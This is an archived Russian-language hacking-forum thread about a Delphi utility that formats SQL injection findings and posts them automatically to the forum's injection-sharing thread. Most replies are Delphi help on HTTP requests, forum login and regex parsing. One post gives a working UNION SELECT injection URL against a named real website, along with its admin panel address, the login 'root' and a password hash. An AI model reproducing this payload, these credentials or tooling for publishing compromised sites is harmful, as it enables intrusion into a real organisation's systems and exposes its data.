PDA

Просмотр полной версии : Прога для оформление sql =)


Assembler
19.02.2009, 19:41
Воти и версия 1.5.

Скрин
http://www.picatom.com/w/prog-2.html
http://www.picatom.com/w/img/prog-2.JPG

Добавлена функция проверки по антибояну, и отправки сообщения на форум в тему с инъекциями. Так же доработал кнопку отправки, теперь в поле с текстом не просто появляется новая скуль, а появляется разделитель ________________________ и после этого идет вторая скуль.

В дальнейшем планирую добавить моментальный первод данных в sql hex , щелчком мышки не заходя в программу, и добавить управление цветами, а также автоматическую проверку тиц и pr.

А теперь небольшая инструкция.
1. Обратите внимание, на раздел Данные сайта, в нем находятся поля с URL, PR и Тиц, думаю с этим все понятно, но URL сайта нужно вводить в формате http://site.com, для того чтобы программа смогла определить, есть ли сайт в Антибояне.

2. Далее уже в ходе проведения Sql инъекции заполняйте поля Version() Database() и т.д. (для удобства сделано так что при двойном щелчке по полю информация в нем стирается.

3. Теперь настало время проверить сайт по Антибояну. Для этого нажмите на кнопку" Загрузить Антибоян" и дождитесь сообщения Антибоян загружен, (делать это нужно только один раз после запуска программы, данные со странице антибояна загружаются в память программы и уже в офлайн режиме он сверяет их.) После того как вы загрузили Антибоян, нужно щелкнуть по кнопке проверить по антибояну, и вылезет табличка которая скажет вам о том есть ли сайт в списке антибояна или нет.

4. После того как заполнили эти поля. Нажмите Оформить, вы увидите уже готовый текст. Вы можете скопировать его и запостить в любое место, но если вы хотите чтобы программа сама отправила сообщение в тему с инъекциями вам необходимо проследовать по следующим пунктам.

5. Для того чтобы отправлять сообщения, нужно ввести ваши регистрационные данные от Ачата, Имя и пароль. Для этого лезем в меню настройки. И вводим в соответствующие поля имя и пароль. После чего нажимаем Окей.

6. Все мы залогинились, теперь можно использовать кнопку отправить, после нажатия которой программа запостит вашу скулю(и) в тему http://forum.antichat.ru/threadnav21336-1-10.html...

7. Сообщения отправлять можно раз в 30 секунд,так чтобы небыло, проблем после нажатия по кнопке отправить вы увидите таймер Который подскажет вам когда можно отправлять следующее сообщение.

// Новая версия

8. Теперь если вы не трогаете какие либо поля типо Version() или USER() и т.д. А оставляете их в том же виде что и при запуске программы то в самом сообщении они не указываються. (идея mailbrush)

9. Авточек тиц и пр (наконец то)

10. Вы можете сохранить свое имя и пароль.

11. Ну и что еще новго ищите сами.

PS: Версия не финальная, буду еще доделывать...

PS: Хочу сказать Огромное спасибо eLWAux, без его помощи я бы не справился, а так-же De-Visible за хорошии идеи, а так-же mailbrush за что он сам знает =)

СКАЧАТЬ

http://slil.ru/27035294

Assembler
19.02.2009, 19:42
http://www.almaz-antey.ru
PR: 3
Тиц: 2332
Версия: 5.0.20
База Данных: Data
Юзверь: almaz@localhost
http://www.almaz-antey.ru/news.php?id=-166%20union%20select%201,2,3,4,concat_ws(0x3a,id,s nap,name,content,type,pos,date),6,7,8,9,10,11,12%2 0from%20fafnir_users--
Админка http://www.almaz-antey.ru/admin
Логин: root
Пароль: 202cb962ac59075b964b07152d234b70:0:20060625112722: 20060625112722

Assembler
20.02.2009, 00:17
Ну че кто нить поюзал, мб баги какие или че нить еще?? Говорите ваши предложения... Есть маза сделать так чтобы при вызове меню на выделенном тексте в нем были пункты отправтить sql как админка и т.д. -)

faza02
20.02.2009, 00:41
Assembler, для ленивых).
было бы классно, если б она чекала пр и тиц.
потом не
юзверь, версия
а лучше user(), version()

Assembler
20.02.2009, 00:52
Тиц и пр в будующем чекать будет 108% Ну так веселее юзер() версион() устарело -()+

Tigger
20.02.2009, 00:53
Уже все есть такое)) Ну лан.. норм)) Молодец!

Assembler
20.02.2009, 00:55
Тиггер, спс...
Кто хочет попасть в раздел эбоут =) (в плане эй лодка ) пишем любые баги =)

zifanchuck
20.02.2009, 01:00
+адын)

Assembler
20.02.2009, 01:19
Предлогайте ваши варианты развития прорграммы... Хочу развить так чтобы облегчить по максиуму труд Sql инжектеров... Вобщем предлогайте ваши идеи. РАссмОтрю все..

eLWAux
20.02.2009, 01:36
Хочу развить так чтобы облегчить по максиуму труд Sql инжектеров...
молодец!
п.с.: реализируй отправку сообщений на форум.

Assembler
20.02.2009, 13:05
Скачал ее пробую =)..

De-visible
20.02.2009, 23:11
Ноль парсинга, ноль работы с сетью, чем не устроил форумный редактор сообщения?

Assembler
20.02.2009, 23:14
Сделаю позже чтоб цвета менять можно было и тиц с пром проверяла.. А форумный ужо поднадоел, каждую скуль отдельно оформлять. по одному и томуже принципу..

De-visible
20.02.2009, 23:24
Сделаю позже чтоб цвета менять можно было и тиц с пром проверяла.. А форумный ужо поднадоел, каждую скуль отдельно оформлять. по одному и томуже принципу..
О_о, тогда думаю стоит сделать логин к форуму и пост сообщения автоматом...
Иначе программа кажется очень даже безполезной.
Для начала можешь восползоваться TidHTTP, если более продвинут то TidTCPClient ну и лучший вариант с использованием сокетов или WinINet...
Далее сделать проверку тица, как нехер делать, для парсинга страницы можешь использовать не стандатные функции для обработки текста, а модуль TRegExpr, будет очень удобно, ну и на последок, было бы не плохо сделать дизайн для этой проги под ачат, это будет довольно таки приятно.

Assembler
21.02.2009, 00:40
De-visible, о спасиб за идеи =) Постараюсь осуществить... Думаю с логином мне придеться попариться =))

De-visible
21.02.2009, 02:01
De-visible, о спасиб за идеи =) Постараюсь осуществить... Думаю с логином мне придеться попариться =))
Я обычно в разделе кодинг )) так что вопросы задавать можешь там.

MyTHblu
21.02.2009, 03:41
а можно мальца поподробнее.... как ей пользоваться)

iddqd
21.02.2009, 03:54
а можно просто юзать [*code] или [quote]
это ж не книжка-раскраска

Assembler
21.02.2009, 10:38
Да кстати De-visible скоро перееду к вам в кодинг =), я тут еще подумал, можно будет сделать так чтобы она по антибояну проверяла сайт =)). Ухх ща с работы прийду, и начну =)

De-visible
21.02.2009, 10:38
а можно просто юзать [*code] или [quote]
это ж не книжка-раскраска
Я говорил уже об этом.

Assembler
21.02.2009, 20:57
Модераторы, если можно перенесите в раздел Кодинг Delphi ..

А®ТеS
21.02.2009, 22:25
Идея интересная, но будущего нет (ИМХО). Было бы интереснее, если реализовать в виде online-сервиса, написав, скажем, на PHP. А то при расширении функционала возникнут проблемы:
1. Не у всех широкий канал. Если добавть определение ТИЦ, ПР, отправку сообщений, то будет тратиться неоправданно много трафика.
2. При обновлении программы (а они, я думаю, будут довольно часто на первых порах) каждый раз придется выкачивать новую версию, а если будет сервисом, то просто один раз изменить код на сервере.
3. А так функционал программы можно расширять практически бесконечно: добавить автоподбор полей/таблиц, брутер слепых инъекций и т.п. Ведь было бы куда полезнее, чем просто выкладывать голую ссылку с минимумом системной информации.
В общем, удачи в кодинге :).

Assembler
21.02.2009, 23:36
Вобщем, решил начать с интерфйса, так как дизайнер я не зе бест, то хочу посоветоваться с вами, как лучше оформить программу. Вот так сказать мой вариант, жду ваших предложений..
http://www.picatom.com/v/img/newsqlaat-1.JPG

ЗЫЖ Хочу на делфях, а дальше посмотрим =)

eLWAux
21.02.2009, 23:40
Assembler, вот моя прога:
http://forum.antichat.ru/thread100240.html
там все в стиле ачата) +сорс и компонент TRegExpr в архиве

Assembler
22.02.2009, 01:13
eLWAux, не пугай меня так =) Я уж думал она именно то делает что я хочу =) а вот за TregExpr спасиб =)
И такс, первый вопрос, хочу сделать так чтобы прога перед началом работы при нажатии кнопки загружала антибоян 1(раз перед началом работы) И потом уже внутри себя по нему проверяла сайты на боян... Подскажите каким путем это можно сделать, желательно понятным для меня языком, то есть не слишком замудренно...

eLWAux
22.02.2009, 01:26
откуда загружать? из сайта или из файла?
--
загружаеш, например в listbox
и потом можно проверить:
if (listbox.items.indexof('сайт')>0) begin уже есть такой end;

Assembler
22.02.2009, 01:31
Да с сайта.. хочу чтобы загружал данные в прогу, записывал их допустим в файлик и из него уже чекал.

eLWAux
22.02.2009, 01:36
реализация через сокети:

uses ...,WinSock, ..;
const host = 'www.google.com'; //хост
....
var sock : TSocket;
....
function create_packet(url:string):string;
begin
result := 'GET '+url+' HTTP/1.0' + #13#10 +
'Host: ' + Host + #13#10 +
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' + #13#10 +
'Accept: text/html' + #13#10 +
'Keep-Alive: 300'+ #13#10 +
'Referer: '+url+ #13#10 +
'Connection: keep-alive' + #13#10#13#10;
end;


function GET(packet: string): string;
var
wData : WSADATA;
addr : sockaddr_in;
sock : integer;
error : integer;
buf : array [0..1023] of Char;
str : string;
phe : PHostEnt;
begin
Result := '';
WSAStartup($0101, wData);
phe := gethostbyname(PChar(string(host)));
if phe = nil then begin
WSACleanup;
exit;
end;

sock := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if sock = INVALID_SOCKET then begin
WSACleanup;
exit;
end;

addr.sin_family := AF_INET;
addr.sin_port := htons(80);
addr.sin_addr := PInAddr(phe.h_addr_list^)^;
error := connect(sock, addr, sizeof(addr));

if error = SOCKET_ERROR then begin
closesocket(sock);
WSACleanup;
exit;
end;

//str := 'GET '+url + ' HTTP/1.0'#13#10#13#10;
str:=packet;
send(sock, str[1], Length(str), 0);

ZeroMemory(@buf, 1024);
error := recv(sock, buf, 1024, 0);
while error > 0 do begin
Result := Result + Copy(buf, 0, error);
error := recv(sock, buf, 1024, 0);
end;

closesocket(sock);
WSACleanup;
if Result <> '' then Result:=Copy(Result, pos(#13#10#13#10, Result)+4,Length(Result));
end;

var answ : string;
answ := get( create_packet('http://www.google.com/') );


сохранение в файл:
AssignFile(myFile, 'file.txt');
ReWrite(myFile);
WriteLn(myFile, answ);
CloseFile(myFile);

ну и прочитать в listbox стандартно:
listbox1.items.loadfromfile('file.txt');

Assembler
22.02.2009, 12:16
eLWAux, спасибо огромное. =)

Есть еще один вопрос, можно ли сделать так чтобы когда копаешься на сайте, выделив определнный элемент (название таблицы) и щелкнув правой кнопой мыхи, появлялось контекстное меню, в котором было бы подменю с названием sql, при нажатии которого данные отправлялись в прогу, переделывались в sql hex и после этого записывались в буфер?

De-visible
22.02.2009, 20:28
реализация через сокети:

uses ...,WinSock, ..;
const host = 'www.google.com'; //хост
....
var sock : TSocket;
....
function create_packet(url:string):string;
begin
result := 'GET '+url+' HTTP/1.0' + #13#10 +
'Host: ' + Host + #13#10 +
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' + #13#10 +
'Accept: text/html' + #13#10 +
'Keep-Alive: 300'+ #13#10 +
'Referer: '+url+ #13#10 +
'Connection: keep-alive' + #13#10#13#10;
end;


function GET(packet: string): string;
var
wData : WSADATA;
addr : sockaddr_in;
sock : integer;
error : integer;
buf : array [0..1023] of Char;
str : string;
phe : PHostEnt;
begin
Result := '';
WSAStartup($0101, wData);
phe := gethostbyname(PChar(string(host)));
if phe = nil then begin
WSACleanup;
exit;
end;

sock := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if sock = INVALID_SOCKET then begin
WSACleanup;
exit;
end;

addr.sin_family := AF_INET;
addr.sin_port := htons(80);
addr.sin_addr := PInAddr(phe.h_addr_list^)^;
error := connect(sock, addr, sizeof(addr));

if error = SOCKET_ERROR then begin
closesocket(sock);
WSACleanup;
exit;
end;

//str := 'GET '+url + ' HTTP/1.0'#13#10#13#10;
str:=packet;
send(sock, str[1], Length(str), 0);

ZeroMemory(@buf, 1024);
error := recv(sock, buf, 1024, 0);
while error > 0 do begin
Result := Result + Copy(buf, 0, error);
error := recv(sock, buf, 1024, 0);
end;

closesocket(sock);
WSACleanup;
if Result <> '' then Result:=Copy(Result, pos(#13#10#13#10, Result)+4,Length(Result));
end;

var answ : string;
answ := get( create_packet('http://www.google.com/') );


сохранение в файл:
AssignFile(myFile, 'file.txt');
ReWrite(myFile);
WriteLn(myFile, answ);
CloseFile(myFile);

ну и прочитать в listbox стандартно:
listbox1.items.loadfromfile('file.txt');

Ну да да да, что бы получить ОДНУ СТРАНИЦУ, мы используем сокеты... показуха какая то...

Получаем страницу с помощью TidHTTP и парсим регуляркой...

Пользоваться сокетами нужно там где они действительно нужны...

Assembler
22.02.2009, 22:05
De-visible, хмм а поподробнее можно?

eLWAux
24.02.2009, 22:11
добавляеш IdHTTP из вкладки "Indy Clients".

вот тебе два примера:
1) загрузки страници "Антибоян" - "http://constant1ne.by.ru/sqls.html"
в listbox с помощью IdHTTP, GET методом (каждий сайт в отдельний item):
var i:integer ;
begin
GET метод (для http)

// загружаем страницу в listbox
listbox1.Items.Text:= IdHttp1.Get('http://constant1ne.by.ru/sqls.html');

// пример проверки сайта по Антибоян'у
if (listbox1.Items.IndexOf('http://numi.is')>0) then
showmessage('[боян] http://numi.is') else
showmessage('http://numi.is нету в списке Антибоян!');

2) пример POST метода,
для логина на ачат (по https):
var i:integer ;
IdHandler: TIdSSLIOHandlerSocket;
CookMan: TidCookieManager;
Params: TStringList;
username,password,md5_password:string;
begin
POST метод (для https)

// ето нужно для роботи с https
IdHandler:=TIdSSLIOHandlerSocket.Create(nil);
IdHandler.SSLOptions.Method:=sslvTLSv1;
IdHTTP1.IOHandler:=IdHandler;

// сookie хранитель
IdHTTP1.AllowCookies:=true;
CookMan:=TidCookieManager.Create(idHTTP1);
idHttp1.CookieManager := CookMan;

username := 'eLWAux';
password := 'твой_пароль';
md5_password := 'или_md5_твоего_пароля';
// данние, которие передаютса в POST запросе
Params:=TStringList.Create;
Params.add('vb_login_username='+username);
Params.add('vb_login_password='+password);
Params.add('cookieuser=1');
Params.add('s=');
Params.add('do=login');
Params.add('forceredirect=1');
Params.add('vb_login_md5password='+md5_password);

try
IdHTTP1.Port:=443; // https

// необязательно - юзер агент
IDHttp1.Request.UserAgent:='Mozila';

// рефферер
IdHTTP1.Request.Referer:='https://forum.antichat.ru/index.php?';

// а вот и он, POST запрос на login.php )
memo1.Lines.Text:=
IdHttp1.Post('http://forum.antichat.ru/login.php?',params);

finally
IdHTTP1.Free;
IdHandler.Free;
Params.Free;
end;



вот и все..
думаю поймеш, как отправлять сообщения на форум..
)

Assembler
24.02.2009, 22:35
eLWAux, Чтоб я без тебя делал +) Спасибо огроменное =)

Как я понял чтобы отправить сообщение нада вот с этим поковыряться?

<input type="hidden" name="fromquickreply" value="1" />
<input type="hidden" name="s" value="" />
<input type="hidden" name="do" value="postreply" />
<input type="hidden" name="t" value="21336" id="qr_threadid" />
<input type="hidden" name="p" value="who cares" id="qr_postid" />
<input type="hidden" name="parseurl" value="1" />
<input type="hidden" name="clickedelm" value="" />

<input type="submit" class="button" value="Отправить быстрый ответ" accesskey="s" title="(Alt + S)" name="sbutton" tabindex="2" onclick="this.form.clickedelm.value=this.value" />
<input type="submit" class="button" value="Расширенный режим" accesskey="x" title="(Alt + X)" name="preview" tabindex="3" id="qr_preview" onclick="this.form.clickedelm.value = this.value" />
</div>

eLWAux
25.02.2009, 14:59
Как я понял чтобы отправить сообщение нада вот с этим поковыряться?
да, именно!

<form action="newreply.php" method="post" name="vbform" onsubmit="return checkQR(this);">

<textarea name="message" id="qr_message" class="bginput" style="width: 600px; height: 100px;" rows="5" cols="60" tabindex="1">

<input type="hidden" name="fromquickreply" value="1" />
<input type="hidden" name="s" value="" />
<input type="hidden" name="do" value="postreply" />
<input type="hidden" name="t" value="21336" id="qr_threadid" />
<input type="hidden" name="p" value="who cares" id="qr_postid" />
<input type="hidden" name="parseurl" value="1" />
<input type="hidden" name="clickedelm" value="" />

<input type="submit" class="button" value="Отправить быстрый ответ" accesskey="s" title="(Alt + S)"
name="sbutton" tabindex="2" onclick="this.form.clickedelm.value=this.value" />
<input type="submit" class="button" value="Расширенный режим" accesskey="x" title="(Alt + X)"
name="preview" tabindex="3" id="qr_preview" onclick="this.form.clickedelm.value = this.value" />
</div>

т.е. отправляеш на http(s)://forum.antichat.ru/newreply.php POST методом c параметрами:
fromquickreply=1
t=номер_теми
message=текст_сообщения
s=
do=postreply
p=who cares
parseurl=1
clickedelm=Отправить быстрый ответ
sbutton=Отправить быстрый ответ

пробуй, експериметируй)
а лучше постав себе на локалку воблу, и потестируй)

Assembler
25.02.2009, 16:42
Спасибо еще раз =) Пошел эксерементировать =))

____________________________

Вот то что получилось:
http://rapidshare.com/files/202418155/Archive22.zip.html
Зеркало. (http://depositfiles.com/files/71eccxgb9)
http://slil.ru/26998348
Cообщения отправляет, вроде все нормально, но есть проблемы, выдает ошибку после отправки сообщения, и второй раз не дает отправить...
eLWAux, посмотри что я не так сделал? И еще раз спасибо.

___________________________
Еще покопался понял что вторя ошибка была из-за
IdHTTP1.Free;
IdHandler.Free;
Params.Free;
Отключил //
Теперь можно отправлять подряд много сообщений с тайм аутом в 30 сек все как и полжено, но до сих пор не могу понять что это за ошибка...
HTTP/1.1 302 Moved Temporarily.

_________________________________
УРААААААААААААААААААА. Все работает проблема была в handleredirect нужно было поставить true =))... Ухх скоро уже закончу =)

Assembler
26.02.2009, 12:54
Чтемс первый пост!

De-visible
26.02.2009, 18:55
Еще один новичек потихоньку продвигается в круг программеров)))

Assembler
27.02.2009, 10:08
При переходе по этой ссылке http://bar-navig.yandex.ru/u?ver=2&show=32&url=http://google.ru показывается тиц. В исходном коде
<url domain="www.google.ru">/</url>
<tcy rang="6" value="76000"/> Как вывести его в программу?

De-visible
27.02.2009, 10:37
При переходе по этой ссылке http://bar-navig.yandex.ru/u?ver=2&show=32&url=http://google.ru показывается тиц. В исходном коде
<url domain="www.google.ru">/</url>
<tcy rang="6" value="76000"/> Как вывести его в программу?
Регуляркой, или же парсить в ручную, pos,Copy, и т.д.

eLWAux
27.02.2009, 18:36
<url domain="www.google.ru">/</url>
<tcy rang="6" value="76000"/> Как вывести его в программу?

uses ...RegExpr..;
var regexp: TRegExpr;
..
answ = '<tcy rang="6" value="76000"/>';
RegExp.Expression := '<tcy rang="(\d+)" value="(\d+)"/>'; //регулярка
RegExp.Exec(answ); //парсим answ регуляркой
rand := RegExp.Substitute('$1'); //получаем первое совпадение
value:= RegExp.Substitute('$2');//получаем второе
..

Assembler
28.02.2009, 18:51
Если кому интересно смотрите что примерно будет в новой версии =)
http://itmages.ru/view.php?action=view&id=2506&key=821ce3

eLWAux
01.03.2009, 01:25
Если кому интересно смотрите что примерно будет в новой версии =)
http://itmages.ru/view.php?action=view&id=2506&key=821ce3
- почему "фиолетовий" фон?
- некрасивие кнопки =\
- слишком большая форма..
- картинка ачата слишком ростянутая..)
^^ вот что мне не понравилось =\

Assembler
01.03.2009, 01:34
Это я подгонял под размер картинки поэтому и вытянул. Вот думаю остановиться на этом, но есть возможность свернуть его в первоначальный вариант... Нажав галочку Упрощенный вариант, А вот и скрин.
http://4hq.org/hosted_image/cia1235857580a.JPG

А насчет фона хз.. Почемуто получился =)) Нада переделать а то чето уже 3 раза лохонулся за седняшний день, но зато теперь тиц автоматом проверяет, скоро будет и пр, а потом уже выдам финал версион в 1пост темы =)

Руки дойдут дак нада будет Formsyle:= fsnone;

eLWAux
01.03.2009, 01:52
form.color:=$00292624;

Assembler
01.03.2009, 01:59
eLWAux, оо вот так вабще зачетно =)
http://4hq.org/hosted_image/one1235858295t.JPG

Assembler
09.03.2009, 00:48
Уже близиться финальная версия, теперь если оставить поля пустыми (касается полей Пр, тиц, Версия, БД, пользоваетль, админка, логин, пароль) то они их не будет в сообщении. Определяет тиц... Думаю через недельку будет уже все готово...

-m0rgan-
09.03.2009, 01:05
сделай авточекер тиц и пр, тогда будет зашибись)

Assembler
09.03.2009, 01:26
Тиц уже чекает, осталось пр...

Assembler
09.03.2009, 12:34
Мб кто подскажет как картинку в прогу загрузить,
допустим в image1 = http://ya.ru/logo.jpg

Вот.
Идея есть
var
f=: создать файл 'c:/logo.jpg'
begin
idhttp2.Get('http://ya.ru/logo.jpg', f);

И дальше уже просто вывод из файла!!
Помогите реализовать...

bbbb
09.03.2009, 13:23
Чето то, типа этого -


///////////////////////////////////////////
temp: TMemoryStream;
jpeg: TJpegImage
////////////////////////////////////////////
temp:= TMemoryStream.Create;
jpeg := TJpegImage.Create;
idhttp2.Get('http://ya.ru/logo.jpg', temp);
temp.Position:=0;
jpeg.LoadFromStream(temp);
image1.Picture.Graphic:= jpeg;
jpeg.Free;
temp.Free;

Assembler
09.03.2009, 13:52
Не немного не то.. Я уже сделал.

var
fs: tfilestream;
begin


try
fs:=tfilestream.create('/Tpr.jpg',fmcreate);
idhttp1.get('<>',fs);
finally
fs.free;
end;

Assembler
09.03.2009, 17:22
Читаем первый пост выложил новую версию!!!

PGM
28.03.2009, 16:13
Файл не найден :(